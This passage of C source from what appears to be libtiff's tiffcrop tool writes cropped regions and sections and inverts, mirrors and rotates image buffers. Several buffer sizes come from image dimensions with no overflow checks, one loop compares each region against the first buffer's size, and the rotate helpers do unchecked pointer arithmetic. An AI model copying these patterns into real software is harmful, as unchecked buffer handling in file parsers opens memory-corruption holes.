seg_buffs[i].buffer; /* Write the current region to the current file */ if (writeCroppedImage(in, *out, image, dump, crop->regionlist[i].width, crop->regionlist[i].length, crop_buff, *page, page_count)) { TIFFError("writeRegions", "Unable to write new image"); return (-1); } } break; case FILE_PER_SELECTION: autoindex = 1; page_count = 1; for (i = 0; i < crop->selections; i++) { if (update_output_file (out, mp, autoindex, filename, page)) return (1); crop_buff = seg_buffs[i].buffer; /* Write the current region to the current file */ if (writeCroppedImage(in, *out, image, dump, crop->regionlist[i].width, crop->regionlist[i].length, crop_buff, *page, page_count)) { TIFFError("writeRegions", "Unable to write new image"); return (-1); } } break; default: return (1); } return (0); } /* end writeRegions */ static int writeImageSections(TIFF *in, TIFF *out, struct image_data *image, struct pagedef *page, struct pageseg *sections, struct dump_opts * dump, unsigned char *src_buff, unsigned char **sect_buff_ptr) { double hres, vres; uint32 i, k, width, length, sectsize; unsigned char *sect_buff = *sect_buff_ptr; hres = page->hres; vres = page->vres; k = page->cols * page->rows; if ((k < 1) || (k > MAX_SECTIONS)) { TIFFError("writeImageSections", "%d Rows and Columns exceed maximum sections\nIncrease resolution or reduce sections", k); return (-1); } for (i = 0; i < k; i++) { width = sections[i].x2 - sections[i].x1 + 1; length = sections[i].y2 - sections[i].y1 + 1; sectsize = (uint32) ceil((width * image->bps + 7) / (double)8) * image->spp * length; /* allocate a buffer if we don't have one already */ if (createImageSection(sectsize, sect_buff_ptr)) { TIFFError("writeImageSections", "Unable to allocate section buffer"); exit (-1); } sect_buff = *sect_buff_ptr; if (extractImageSection (image, &sections[i], src_buff, sect_buff)) { TIFFError("writeImageSections", "Unable to extract image sections"); exit (-1); } /* call the write routine here instead of outside the loop */ if (writeSingleSection(in, out, image, dump, width, length, hres, vres, sect_buff)) { TIFFError("writeImageSections", "Unable to write image section"); exit (-1); } } return (0); } /* end writeImageSections */ /* Code in this function is heavily indebted to code in tiffcp * with modifications by Richard Nolde to handle orientation correctly. * It will have to be updated significantly if support is added to * extract one or more samples from original image since the * original code assumes we are always copying all samples. */ static int writeSingleSection(TIFF *in, TIFF *out, struct image_data *image, struct dump_opts *dump, uint32 width, uint32 length, double hres, double vres, unsigned char *sect_buff) { uint16 bps, spp; uint16 input_compression, input_photometric; uint16 input_planar; struct cpTag* p; /* Calling this seems to reset the compression mode on the TIFF *in file. TIFFGetField(in, TIFFTAG_JPEGCOLORMODE, &input_jpeg_colormode); */ input_compression = image->compression; input_photometric = image->photometric; spp = image->spp; bps = image->bps; TIFFSetField(out, TIFFTAG_IMAGEWIDTH, width); TIFFSetField(out, TIFFTAG_IMAGELENGTH, length); TIFFSetField(out, TIFFTAG_BITSPERSAMPLE, bps); TIFFSetField(out, TIFFTAG_SAMPLESPERPIXEL, spp); #ifdef DEBUG2 TIFFError("writeSingleSection", "Input compression: %s", (input_compression == COMPRESSION_OJPEG) ? "Old Jpeg" : ((input_compression == COMPRESSION_JPEG) ? "New Jpeg" : "Non Jpeg")); #endif /* This is the global variable compression which is set * if the user has specified a command line option for * a compression option. Should be passed around in one * of the parameters instead of as a global. If no user * option specified it will still be (uint16) -1. */ if (compression != (uint16)-1) TIFFSetField(out, TIFFTAG_COMPRESSION, compression); else { /* OJPEG is no longer supported for writing so upgrade to JPEG */ if (input_compression == COMPRESSION_OJPEG) { compression = COMPRESSION_JPEG; jpegcolormode = JPEGCOLORMODE_RAW; TIFFSetField(out, TIFFTAG_COMPRESSION, COMPRESSION_JPEG); } else /* Use the compression from the input file */ CopyField(TIFFTAG_COMPRESSION, compression); } if (compression == COMPRESSION_JPEG) { if ((input_photometric == PHOTOMETRIC_PALETTE) || /* color map indexed */ (input_photometric == PHOTOMETRIC_MASK)) /* holdout mask */ { TIFFError ("writeSingleSection", "JPEG compression cannot be used with %s image data", (input_photometric == PHOTOMETRIC_PALETTE) ? "palette" : "mask"); return (-1); } if ((input_photometric == PHOTOMETRIC_RGB) && (jpegcolormode == JPEGCOLORMODE_RGB)) TIFFSetField(out, TIFFTAG_PHOTOMETRIC, PHOTOMETRIC_YCBCR); else TIFFSetField(out, TIFFTAG_PHOTOMETRIC, input_photometric); } else { if (compression == COMPRESSION_SGILOG || compression == COMPRESSION_SGILOG24) TIFFSetField(out, TIFFTAG_PHOTOMETRIC, spp == 1 ? PHOTOMETRIC_LOGL : PHOTOMETRIC_LOGLUV); else TIFFSetField(out, TIFFTAG_PHOTOMETRIC, image->photometric); } #ifdef DEBUG2 TIFFError("writeSingleSection", "Input photometric: %s", (input_photometric == PHOTOMETRIC_RGB) ? "RGB" : ((input_photometric == PHOTOMETRIC_YCBCR) ? "YCbCr" : "Not RGB or YCbCr")); #endif if (((input_photometric == PHOTOMETRIC_LOGL) || (input_photometric == PHOTOMETRIC_LOGLUV)) && ((compression != COMPRESSION_SGILOG) && (compression != COMPRESSION_SGILOG24))) { TIFFError("writeSingleSection", "LogL and LogLuv source data require SGI_LOG or SGI_LOG24 compression"); return (-1); } if (fillorder != 0) TIFFSetField(out, TIFFTAG_FILLORDER, fillorder); else CopyTag(TIFFTAG_FILLORDER, 1, TIFF_SHORT); /* The loadimage function reads input orientation and sets * image->orientation. The correct_image_orientation function * applies the required rotation and mirror operations to * present the data in TOPLEFT orientation and updates * image->orientation if any transforms are performed, * as per EXIF standard. */ TIFFSetField(out, TIFFTAG_ORIENTATION, image->orientation); /* * Choose tiles/strip for the output image according to * the command line arguments (-tiles, -strips) and the * structure of the input image. */ if (outtiled == -1) outtiled = TIFFIsTiled(in); if (outtiled) { /* * Setup output file's tile width&height. If either * is not specified, use either the value from the * input image or, if nothing is defined, use the * library default. */ if (tilewidth == (uint32) 0) TIFFGetField(in, TIFFTAG_TILEWIDTH, &tilewidth); if (tilelength == (uint32) 0) TIFFGetField(in, TIFFTAG_TILELENGTH, &tilelength); if (tilewidth == 0 || tilelength == 0) TIFFDefaultTileSize(out, &tilewidth, &tilelength); TIFFDefaultTileSize(out, &tilewidth, &tilelength); TIFFSetField(out, TIFFTAG_TILEWIDTH, tilewidth); TIFFSetField(out, TIFFTAG_TILELENGTH, tilelength); } else { /* * RowsPerStrip is left unspecified: use either the * value from the input image or, if nothing is defined, * use the library default. */ if (rowsperstrip == (uint32) 0) { if (!TIFFGetField(in, TIFFTAG_ROWSPERSTRIP, &rowsperstrip)) rowsperstrip = TIFFDefaultStripSize(out, rowsperstrip); if (compression != COMPRESSION_JPEG) { if (rowsperstrip > length) rowsperstrip = length; } } else if (rowsperstrip == (uint32) -1) rowsperstrip = length; TIFFSetField(out, TIFFTAG_ROWSPERSTRIP, rowsperstrip); } TIFFGetFieldDefaulted(in, TIFFTAG_PLANARCONFIG, &input_planar); if (config != (uint16) -1) TIFFSetField(out, TIFFTAG_PLANARCONFIG, config); else CopyField(TIFFTAG_PLANARCONFIG, config); if (spp <= 4) CopyTag(TIFFTAG_TRANSFERFUNCTION, 4, TIFF_SHORT); CopyTag(TIFFTAG_COLORMAP, 4, TIFF_SHORT); /* SMinSampleValue & SMaxSampleValue */ switch (compression) { /* These are references to GLOBAL variables set by defaults * and /or the compression flag */ case COMPRESSION_JPEG: if (((bps % 8) == 0) || ((bps % 12) == 0)) { TIFFSetField(out, TIFFTAG_JPEGQUALITY, quality); TIFFSetField(out, TIFFTAG_JPEGCOLORMODE, JPEGCOLORMODE_RGB); } else { TIFFError("writeSingleSection", "JPEG compression requires 8 or 12 bits per sample"); return (-1); } break; case COMPRESSION_LZW: case COMPRESSION_ADOBE_DEFLATE: case COMPRESSION_DEFLATE: if (predictor != (uint16)-1) TIFFSetField(out, TIFFTAG_PREDICTOR, predictor); else CopyField(TIFFTAG_PREDICTOR, predictor); break; case COMPRESSION_CCITTFAX3: case COMPRESSION_CCITTFAX4: if (compression == COMPRESSION_CCITTFAX3) { if (g3opts != (uint32) -1) TIFFSetField(out, TIFFTAG_GROUP3OPTIONS, g3opts); else CopyField(TIFFTAG_GROUP3OPTIONS, g3opts); } else { CopyTag(TIFFTAG_GROUP4OPTIONS, 1, TIFF_LONG); } CopyTag(TIFFTAG_BADFAXLINES, 1, TIFF_LONG); CopyTag(TIFFTAG_CLEANFAXDATA, 1, TIFF_LONG); CopyTag(TIFFTAG_CONSECUTIVEBADFAXLINES, 1, TIFF_LONG); CopyTag(TIFFTAG_FAXRECVPARAMS, 1, TIFF_LONG); CopyTag(TIFFTAG_FAXRECVTIME, 1, TIFF_LONG); CopyTag(TIFFTAG_FAXSUBADDRESS, 1, TIFF_ASCII); break; } { uint32 len32; void** data; if (TIFFGetField(in, TIFFTAG_ICCPROFILE, &len32, &data)) TIFFSetField(out, TIFFTAG_ICCPROFILE, len32, data); } { uint16 ninks; const char* inknames; if (TIFFGetField(in, TIFFTAG_NUMBEROFINKS, &ninks)) { TIFFSetField(out, TIFFTAG_NUMBEROFINKS, ninks); if (TIFFGetField(in, TIFFTAG_INKNAMES, &inknames)) { int inknameslen = strlen(inknames) + 1; const char* cp = inknames; while (ninks > 1) { cp = strchr(cp, '\0'); if (cp) { cp++; inknameslen += (strlen(cp) + 1); } ninks--; } TIFFSetField(out, TIFFTAG_INKNAMES, inknameslen, inknames); } } } { unsigned short pg0, pg1; if (TIFFGetField(in, TIFFTAG_PAGENUMBER, &pg0, &pg1)) { if (pageNum < 0) /* only one input file */ TIFFSetField(out, TIFFTAG_PAGENUMBER, pg0, pg1); else TIFFSetField(out, TIFFTAG_PAGENUMBER, pageNum++, 0); } } for (p = tags; p < &tags[NTAGS]; p++) CopyTag(p->tag, p->count, p->type); /* Update these since they are overwritten from input res by loop above */ TIFFSetField(out, TIFFTAG_XRESOLUTION, (float)hres); TIFFSetField(out, TIFFTAG_YRESOLUTION, (float)vres); /* Compute the tile or strip dimensions and write to disk */ if (outtiled) { if (config == PLANARCONFIG_CONTIG) writeBufferToContigTiles (out, sect_buff, length, width, spp, dump); else writeBufferToSeparateTiles (out, sect_buff, length, width, spp, dump); } else { if (config == PLANARCONFIG_CONTIG) writeBufferToContigStrips (out, sect_buff, length); else writeBufferToSeparateStrips(out, sect_buff, length, width, spp, dump); } if (!TIFFWriteDirectory(out)) { TIFFClose(out); return (-1); } return (0); } /* end writeSingleSection */ /* Create a buffer to write one section at a time */ static int createImageSection(uint32 sectsize, unsigned char **sect_buff_ptr) { unsigned char *sect_buff = NULL; unsigned char *new_buff = NULL; static uint32 prev_sectsize = 0; sect_buff = *sect_buff_ptr; if (!sect_buff) { sect_buff = (unsigned char *)_TIFFmalloc(sectsize); *sect_buff_ptr = sect_buff; _TIFFmemset(sect_buff, 0, sectsize); } else { if (prev_sectsize < sectsize) { new_buff = _TIFFrealloc(sect_buff, sectsize); if (!new_buff) { free (sect_buff); sect_buff = (unsigned char *)_TIFFmalloc(sectsize); } else sect_buff = new_buff; _TIFFmemset(sect_buff, 0, sectsize); } } if (!sect_buff) { TIFFError("createImageSection", "Unable to allocate/reallocate section buffer"); return (-1); } prev_sectsize = sectsize; *sect_buff_ptr = sect_buff; return (0); } /* end createImageSection */ /* Process selections defined by regions, zones, margins, or fixed sized areas */ static int processCropSelections(struct image_data *image, struct crop_mask *crop, unsigned char **read_buff_ptr, struct buffinfo seg_buffs[]) { int i; uint32 width, length, total_width, total_length; tsize_t cropsize; unsigned char *crop_buff = NULL; unsigned char *read_buff = NULL; unsigned char *next_buff = NULL; tsize_t prev_cropsize = 0; read_buff = *read_buff_ptr; if (crop->img_mode == COMPOSITE_IMAGES) { cropsize = crop->bufftotal; crop_buff = seg_buffs[0].buffer; if (!crop_buff) crop_buff = (unsigned char *)_TIFFmalloc(cropsize); else { prev_cropsize = seg_buffs[0].size; if (prev_cropsize < cropsize) { next_buff = _TIFFrealloc(crop_buff, cropsize); if (! next_buff) { _TIFFfree (crop_buff); crop_buff = (unsigned char *)_TIFFmalloc(cropsize); } else crop_buff = next_buff; } } if (!crop_buff) { TIFFError("processCropSelections", "Unable to allocate/reallocate crop buffer"); return (-1); } _TIFFmemset(crop_buff, 0, cropsize); seg_buffs[0].buffer = crop_buff; seg_buffs[0].size = cropsize; /* Checks for matching width or length as required */ if (extractCompositeRegions(image, crop, read_buff, crop_buff) != 0) return (1); if (crop->crop_mode & CROP_INVERT) { switch (crop->photometric) { /* Just change the interpretation */ case PHOTOMETRIC_MINISWHITE: case PHOTOMETRIC_MINISBLACK: image->photometric = crop->photometric; break; case INVERT_DATA_ONLY: case INVERT_DATA_AND_TAG: if (invertImage(image->photometric, image->spp, image->bps, crop->combined_width, crop->combined_length, crop_buff)) { TIFFError("processCropSelections", "Failed to invert colorspace for composite regions"); return (-1); } if (crop->photometric == INVERT_DATA_AND_TAG) { switch (image->photometric) { case PHOTOMETRIC_MINISWHITE: image->photometric = PHOTOMETRIC_MINISBLACK; break; case PHOTOMETRIC_MINISBLACK: image->photometric = PHOTOMETRIC_MINISWHITE; break; default: break; } } break; default: break; } } /* Mirror and Rotate will not work with multiple regions unless they are the same width */ if (crop->crop_mode & CROP_MIRROR) { if (mirrorImage(image->spp, image->bps, crop->mirror, crop->combined_width, crop->combined_length, crop_buff)) { TIFFError("processCropSelections", "Failed to mirror composite regions %s", (crop->rotation == MIRROR_HORIZ) ? "horizontally" : "vertically"); return (-1); } } if (crop->crop_mode & CROP_ROTATE) /* rotate should be last as it can reallocate the buffer */ { if (rotateImage(crop->rotation, image, &crop->combined_width, &crop->combined_length, &crop_buff)) { TIFFError("processCropSelections", "Failed to rotate composite regions by %d degrees", crop->rotation); return (-1); } seg_buffs[0].buffer = crop_buff; seg_buffs[0].size = (((crop->combined_width * image->bps + 7 ) / 8) * image->spp) * crop->combined_length; } } else /* Separated Images */ { total_width = total_length = 0; for (i = 0; i < crop->selections; i++) { cropsize = crop->bufftotal; crop_buff = seg_buffs[i].buffer; if (!crop_buff) crop_buff = (unsigned char *)_TIFFmalloc(cropsize); else { prev_cropsize = seg_buffs[0].size; if (prev_cropsize < cropsize) { next_buff = _TIFFrealloc(crop_buff, cropsize); if (! next_buff) { _TIFFfree (crop_buff); crop_buff = (unsigned char *)_TIFFmalloc(cropsize); } else crop_buff = next_buff; } } if (!crop_buff) { TIFFError("processCropSelections", "Unable to allocate/reallocate crop buffer"); return (-1); } _TIFFmemset(crop_buff, 0, cropsize); seg_buffs[i].buffer = crop_buff; seg_buffs[i].size = cropsize; if (extractSeparateRegion(image, crop, read_buff, crop_buff, i)) { TIFFError("processCropSelections", "Unable to extract cropped region %d from image", i); return (-1); } width = crop->regionlist[i].width; length = crop->regionlist[i].length; if (crop->crop_mode & CROP_INVERT) { switch (crop->photometric) { /* Just change the interpretation */ case PHOTOMETRIC_MINISWHITE: case PHOTOMETRIC_MINISBLACK: image->photometric = crop->photometric; break; case INVERT_DATA_ONLY: case INVERT_DATA_AND_TAG: if (invertImage(image->photometric, image->spp, image->bps, width, length, crop_buff)) { TIFFError("processCropSelections", "Failed to invert colorspace for region"); return (-1); } if (crop->photometric == INVERT_DATA_AND_TAG) { switch (image->photometric) { case PHOTOMETRIC_MINISWHITE: image->photometric = PHOTOMETRIC_MINISBLACK; break; case PHOTOMETRIC_MINISBLACK: image->photometric = PHOTOMETRIC_MINISWHITE; break; default: break; } } break; default: break; } } if (crop->crop_mode & CROP_MIRROR) { if (mirrorImage(image->spp, image->bps, crop->mirror, width, length, crop_buff)) { TIFFError("processCropSelections", "Failed to mirror crop region %s", (crop->rotation == MIRROR_HORIZ) ? "horizontally" : "vertically"); return (-1); } } if (crop->crop_mode & CROP_ROTATE) /* rotate should be last as it can reallocate the buffer */ { if (rotateImage(crop->rotation, image, &crop->regionlist[i].width, &crop->regionlist[i].length, &crop_buff)) { TIFFError("processCropSelections", "Failed to rotate crop region by %d degrees", crop->rotation); return (-1); } total_width += crop->regionlist[i].width; total_length += crop->regionlist[i].length; crop->combined_width = total_width; crop->combined_length = total_length; seg_buffs[i].buffer = crop_buff; seg_buffs[i].size = (((crop->regionlist[i].width * image->bps + 7 ) / 8) * image->spp) * crop->regionlist[i].length; } } } return (0); } /* end processCropSelections */ /* Copy the crop section of the data from the current image into a buffer * and adjust the IFD values to reflect the new size. If no cropping is * required, use the origial read buffer as the crop buffer. * * There is quite a bit of redundancy between this routine and the more * specialized processCropSelections, but this provides * the most optimized path when no Zones or Regions are required. */ static int createCroppedImage(struct image_data *image, struct crop_mask *crop, unsigned char **read_buff_ptr, unsigned char **crop_buff_ptr) { tsize_t cropsize; unsigned char *read_buff = NULL; unsigned char *crop_buff = NULL; unsigned char *new_buff = NULL; static tsize_t prev_cropsize = 0; read_buff = *read_buff_ptr; /* process full image, no crop buffer needed */ crop_buff = read_buff; *crop_buff_ptr = read_buff; crop->combined_width = image->width; crop->combined_length = image->length; cropsize = crop->bufftotal; crop_buff = *crop_buff_ptr; if (!crop_buff) { crop_buff = (unsigned char *)_TIFFmalloc(cropsize); *crop_buff_ptr = crop_buff; _TIFFmemset(crop_buff, 0, cropsize); prev_cropsize = cropsize; } else { if (prev_cropsize < cropsize) { new_buff = _TIFFrealloc(crop_buff, cropsize); if (!new_buff) { free (crop_buff); crop_buff = (unsigned char *)_TIFFmalloc(cropsize); } else crop_buff = new_buff; _TIFFmemset(crop_buff, 0, cropsize); } } if (!crop_buff) { TIFFError("createCroppedImage", "Unable to allocate/reallocate crop buffer"); return (-1); } *crop_buff_ptr = crop_buff; if (crop->crop_mode & CROP_INVERT) { switch (crop->photometric) { /* Just change the interpretation */ case PHOTOMETRIC_MINISWHITE: case PHOTOMETRIC_MINISBLACK: image->photometric = crop->photometric; break; case INVERT_DATA_ONLY: case INVERT_DATA_AND_TAG: if (invertImage(image->photometric, image->spp, image->bps, crop->combined_width, crop->combined_length, crop_buff)) { TIFFError("createCroppedImage", "Failed to invert colorspace for image or cropped selection"); return (-1); } if (crop->photometric == INVERT_DATA_AND_TAG) { switch (image->photometric) { case PHOTOMETRIC_MINISWHITE: image->photometric = PHOTOMETRIC_MINISBLACK; break; case PHOTOMETRIC_MINISBLACK: image->photometric = PHOTOMETRIC_MINISWHITE; break; default: break; } } break; default: break; } } if (crop->crop_mode & CROP_MIRROR) { if (mirrorImage(image->spp, image->bps, crop->mirror, crop->combined_width, crop->combined_length, crop_buff)) { TIFFError("createCroppedImage", "Failed to mirror image or cropped selection %s", (crop->rotation == MIRROR_HORIZ) ? "horizontally" : "vertically"); return (-1); } } if (crop->crop_mode & CROP_ROTATE) /* rotate should be last as it can reallocate the buffer */ { if (rotateImage(crop->rotation, image, &crop->combined_width, &crop->combined_length, crop_buff_ptr)) { TIFFError("createCroppedImage", "Failed to rotate image or cropped selection by %d degrees", crop->rotation); return (-1); } } if (crop_buff == read_buff) /* we used the read buffer for the crop buffer */ *read_buff_ptr = NULL; /* so we don't try to free it later */ return (0); } /* end createCroppedImage */ /* Code in this function is heavily indebted to code in tiffcp * with modifications by Richard Nolde to handle orientation correctly. * It will have to be updated significantly if support is added to * extract one or more samples from original image since the * original code assumes we are always copying all samples. * Use of global variables for config, compression and others * should be replaced by addition to the crop_mask struct (which * will be renamed to proc_opts indicating that is controlls * user supplied processing options, not just cropping) and * then passed in as an argument. */ static int writeCroppedImage(TIFF *in, TIFF *out, struct image_data *image, struct dump_opts *dump, uint32 width, uint32 length, unsigned char *crop_buff, int pagenum, int total_pages) { uint16 bps, spp; uint16 input_compression, input_photometric; uint16 input_planar; struct cpTag* p; input_compression = image->compression; input_photometric = image->photometric; spp = image->spp; bps = image->bps; TIFFSetField(out, TIFFTAG_IMAGEWIDTH, width); TIFFSetField(out, TIFFTAG_IMAGELENGTH, length); TIFFSetField(out, TIFFTAG_BITSPERSAMPLE, bps); TIFFSetField(out, TIFFTAG_SAMPLESPERPIXEL, spp); #ifdef DEBUG2 TIFFError("writeCroppedImage", "Input compression: %s", (input_compression == COMPRESSION_OJPEG) ? "Old Jpeg" : ((input_compression == COMPRESSION_JPEG) ? "New Jpeg" : "Non Jpeg")); #endif if (compression != (uint16)-1) TIFFSetField(out, TIFFTAG_COMPRESSION, compression); else { if (input_compression == COMPRESSION_OJPEG) { compression = COMPRESSION_JPEG; jpegcolormode = JPEGCOLORMODE_RAW; TIFFSetField(out, TIFFTAG_COMPRESSION, COMPRESSION_JPEG); } else CopyField(TIFFTAG_COMPRESSION, compression); } if (compression == COMPRESSION_JPEG) { if ((input_photometric == PHOTOMETRIC_PALETTE) || /* color map indexed */ (input_photometric == PHOTOMETRIC_MASK)) /* $holdout mask */ { TIFFError ("writeCroppedImage", "JPEG compression cannot be used with %s image data", (input_photometric == PHOTOMETRIC_PALETTE) ? "palette" : "mask"); return (-1); } if ((input_photometric == PHOTOMETRIC_RGB) && (jpegcolormode == JPEGCOLORMODE_RGB)) TIFFSetField(out, TIFFTAG_PHOTOMETRIC, PHOTOMETRIC_YCBCR); else TIFFSetField(out, TIFFTAG_PHOTOMETRIC, input_photometric); } else { if (compression == COMPRESSION_SGILOG || compression == COMPRESSION_SGILOG24) { TIFFSetField(out, TIFFTAG_PHOTOMETRIC, spp == 1 ? PHOTOMETRIC_LOGL : PHOTOMETRIC_LOGLUV); } else { if (input_compression == COMPRESSION_SGILOG || input_compression == COMPRESSION_SGILOG24) { TIFFSetField(out, TIFFTAG_PHOTOMETRIC, spp == 1 ? PHOTOMETRIC_LOGL : PHOTOMETRIC_LOGLUV); } else TIFFSetField(out, TIFFTAG_PHOTOMETRIC, image->photometric); } } if (((input_photometric == PHOTOMETRIC_LOGL) || (input_photometric == PHOTOMETRIC_LOGLUV)) && ((compression != COMPRESSION_SGILOG) && (compression != COMPRESSION_SGILOG24))) { TIFFError("writeCroppedImage", "LogL and LogLuv source data require SGI_LOG or SGI_LOG24 compression"); return (-1); } if (fillorder != 0) TIFFSetField(out, TIFFTAG_FILLORDER, fillorder); else CopyTag(TIFFTAG_FILLORDER, 1, TIFF_SHORT); /* The loadimage function reads input orientation and sets * image->orientation. The correct_image_orientation function * applies the required rotation and mirror operations to * present the data in TOPLEFT orientation and updates * image->orientation if any transforms are performed, * as per EXIF standard. */ TIFFSetField(out, TIFFTAG_ORIENTATION, image->orientation); /* * Choose tiles/strip for the output image according to * the command line arguments (-tiles, -strips) and the * structure of the input image. */ if (outtiled == -1) outtiled = TIFFIsTiled(in); if (outtiled) { /* * Setup output file's tile width&height. If either * is not specified, use either the value from the * input image or, if nothing is defined, use the * library default. */ if (tilewidth == (uint32) 0) TIFFGetField(in, TIFFTAG_TILEWIDTH, &tilewidth); if (tilelength == (uint32) 0) TIFFGetField(in, TIFFTAG_TILELENGTH, &tilelength); if (tilewidth == 0 || tilelength == 0) TIFFDefaultTileSize(out, &tilewidth, &tilelength); TIFFSetField(out, TIFFTAG_TILEWIDTH, tilewidth); TIFFSetField(out, TIFFTAG_TILELENGTH, tilelength); } else { /* * RowsPerStrip is left unspecified: use either the * value from the input image or, if nothing is defined, * use the library default. */ if (rowsperstrip == (uint32) 0) { if (!TIFFGetField(in, TIFFTAG_ROWSPERSTRIP, &rowsperstrip)) rowsperstrip = TIFFDefaultStripSize(out, rowsperstrip); if (compression != COMPRESSION_JPEG) { if (rowsperstrip > length) rowsperstrip = length; } } else if (rowsperstrip == (uint32) -1) rowsperstrip = length; TIFFSetField(out, TIFFTAG_ROWSPERSTRIP, rowsperstrip); } TIFFGetFieldDefaulted(in, TIFFTAG_PLANARCONFIG, &input_planar); if (config != (uint16) -1) TIFFSetField(out, TIFFTAG_PLANARCONFIG, config); else CopyField(TIFFTAG_PLANARCONFIG, config); if (spp <= 4) CopyTag(TIFFTAG_TRANSFERFUNCTION, 4, TIFF_SHORT); CopyTag(TIFFTAG_COLORMAP, 4, TIFF_SHORT); /* SMinSampleValue & SMaxSampleValue */ switch (compression) { case COMPRESSION_JPEG: if (((bps % 8) == 0) || ((bps % 12) == 0)) { TIFFSetField(out, TIFFTAG_JPEGQUALITY, quality); TIFFSetField(out, TIFFTAG_JPEGCOLORMODE, JPEGCOLORMODE_RGB); } else { TIFFError("writeCroppedImage", "JPEG compression requires 8 or 12 bits per sample"); return (-1); } break; case COMPRESSION_LZW: case COMPRESSION_ADOBE_DEFLATE: case COMPRESSION_DEFLATE: if (predictor != (uint16)-1) TIFFSetField(out, TIFFTAG_PREDICTOR, predictor); else CopyField(TIFFTAG_PREDICTOR, predictor); break; case COMPRESSION_CCITTFAX3: case COMPRESSION_CCITTFAX4: if (bps != 1) { TIFFError("writeCroppedImage", "Group 3/4 compression is not usable with bps > 1"); return (-1); } if (compression == COMPRESSION_CCITTFAX3) { if (g3opts != (uint32) -1) TIFFSetField(out, TIFFTAG_GROUP3OPTIONS, g3opts); else CopyField(TIFFTAG_GROUP3OPTIONS, g3opts); } else { CopyTag(TIFFTAG_GROUP4OPTIONS, 1, TIFF_LONG); } CopyTag(TIFFTAG_BADFAXLINES, 1, TIFF_LONG); CopyTag(TIFFTAG_CLEANFAXDATA, 1, TIFF_LONG); CopyTag(TIFFTAG_CONSECUTIVEBADFAXLINES, 1, TIFF_LONG); CopyTag(TIFFTAG_FAXRECVPARAMS, 1, TIFF_LONG); CopyTag(TIFFTAG_FAXRECVTIME, 1, TIFF_LONG); CopyTag(TIFFTAG_FAXSUBADDRESS, 1, TIFF_ASCII); break; case COMPRESSION_NONE: break; default: break; } { uint32 len32; void** data; if (TIFFGetField(in, TIFFTAG_ICCPROFILE, &len32, &data)) TIFFSetField(out, TIFFTAG_ICCPROFILE, len32, data); } { uint16 ninks; const char* inknames; if (TIFFGetField(in, TIFFTAG_NUMBEROFINKS, &ninks)) { TIFFSetField(out, TIFFTAG_NUMBEROFINKS, ninks); if (TIFFGetField(in, TIFFTAG_INKNAMES, &inknames)) { int inknameslen = strlen(inknames) + 1; const char* cp = inknames; while (ninks > 1) { cp = strchr(cp, '\0'); if (cp) { cp++; inknameslen += (strlen(cp) + 1); } ninks--; } TIFFSetField(out, TIFFTAG_INKNAMES, inknameslen, inknames); } } } { unsigned short pg0, pg1; if (TIFFGetField(in, TIFFTAG_PAGENUMBER, &pg0, &pg1)) { TIFFSetField(out, TIFFTAG_PAGENUMBER, pagenum, total_pages); } } for (p = tags; p < &tags[NTAGS]; p++) CopyTag(p->tag, p->count, p->type); /* Compute the tile or strip dimensions and write to disk */ if (outtiled) { if (config == PLANARCONFIG_CONTIG) { if (writeBufferToContigTiles (out, crop_buff, length, width, spp, dump)) TIFFError("","Unable to write contiguous tile data for page %d", pagenum); } else { if (writeBufferToSeparateTiles (out, crop_buff, length, width, spp, dump)) TIFFError("","Unable to write separate tile data for page %d", pagenum); } } else { if (config == PLANARCONFIG_CONTIG) { if (writeBufferToContigStrips (out, crop_buff, length)) TIFFError("","Unable to write contiguous strip data for page %d", pagenum); } else { if (writeBufferToSeparateStrips(out, crop_buff, length, width, spp, dump)) TIFFError("","Unable to write separate strip data for page %d", pagenum); } } if (!TIFFWriteDirectory(out)) { TIFFError("","Failed to write IFD for page number %d", pagenum); TIFFClose(out); return (-1); } return (0); } /* end writeCroppedImage */ static int rotateContigSamples8bits(uint16 rotation, uint16 spp, uint16 bps, uint32 width, uint32 length, uint32 col, uint8 *src, uint8 *dst) { int ready_bits = 0; uint32 src_byte = 0, src_bit = 0; uint32 row, rowsize = 0, bit_offset = 0; uint8 matchbits = 0, maskbits = 0; uint8 buff1 = 0, buff2 = 0; uint8 *next; tsample_t sample; if ((src == NULL) || (dst == NULL)) { TIFFError("rotateContigSamples8bits","Invalid src or destination buffer"); return (1); } rowsize = ((bps * spp * width) + 7) / 8; ready_bits = 0; maskbits = (uint8)-1 >> ( 8 - bps); buff1 = buff2 = 0; for (row = 0; row < length ; row++) { bit_offset = col * bps * spp; for (sample = 0; sample < spp; sample++) { if (sample == 0) { src_byte = bit_offset / 8; src_bit = bit_offset % 8; } else { src_byte = (bit_offset + (sample * bps)) / 8; src_bit = (bit_offset + (sample * bps)) % 8; } switch (rotation) { case 90: next = src + src_byte - (row * rowsize); break; case 270: next = src + src_byte + (row * rowsize); break; default: TIFFError("rotateContigSamples8bits", "Invalid rotation %d", rotation); return (1); } matchbits = maskbits << (8 - src_bit - bps); buff1 = ((*next) & matchbits) << (src_bit); /* If we have a full buffer's worth, write it out */ if (ready_bits >= 8) { *dst++ = buff2; buff2 = buff1; ready_bits -= 8; } else { buff2 = (buff2 | (buff1 >> ready_bits)); } ready_bits += bps; } } if (ready_bits > 0) { buff1 = (buff2 & ((unsigned int)255 << (8 - ready_bits))); *dst++ = buff1; } return (0); } /* end rotateContigSamples8bits */ static int rotateContigSamples16bits(uint16 rotation, uint16 spp, uint16 bps, uint32 width, uint32 length, uint32 col, uint8 *src, uint8 *dst) { int ready_bits = 0; uint32 row, rowsize, bit_offset; uint32 src_byte = 0, src_bit = 0; uint16 matchbits = 0, maskbits = 0; uint16 buff1 = 0, buff2 = 0; uint8 bytebuff = 0; uint8 *next; tsample_t sample; if ((src == NULL) || (dst == NULL)) { TIFFError("rotateContigSamples16bits","Invalid src or destination buffer"); return (1); } rowsize = ((bps * spp * width) + 7) / 8; ready_bits = 0; maskbits = (uint16)-1 >> (16 - bps); buff1 = buff2 = 0; for (row = 0; row < length; row++) { bit_offset = col * bps * spp; for (sample = 0; sample < spp; sample++) { if (sample == 0) { src_byte = bit_offset / 8; src_bit = bit_offset % 8; } else { src_byte = (bit_offset + (sample * bps)) / 8; src_bit = (bit_offset + (sample * bps)) % 8; } switch (rotation) { case 90: next = src + src_byte - (row * rowsize); break; case 270: next = src + src_byte + (row * rowsize); break; default: TIFFError("rotateContigSamples8bits", "Invalid rotation %d", rotation); return (1); } matchbits = maskbits << (16 - src_bit - bps); if (little_endian) buff1 = (next[0] << 8) | next[1]; else buff1 = (next[1] << 8) | next[0]; buff1 = (buff1 & matchbits) << (src_bit); /* If we have a full buffer's worth, write it out */ if (ready_bits >= 8) { bytebuff = (buff2 >> 8); *dst++ = 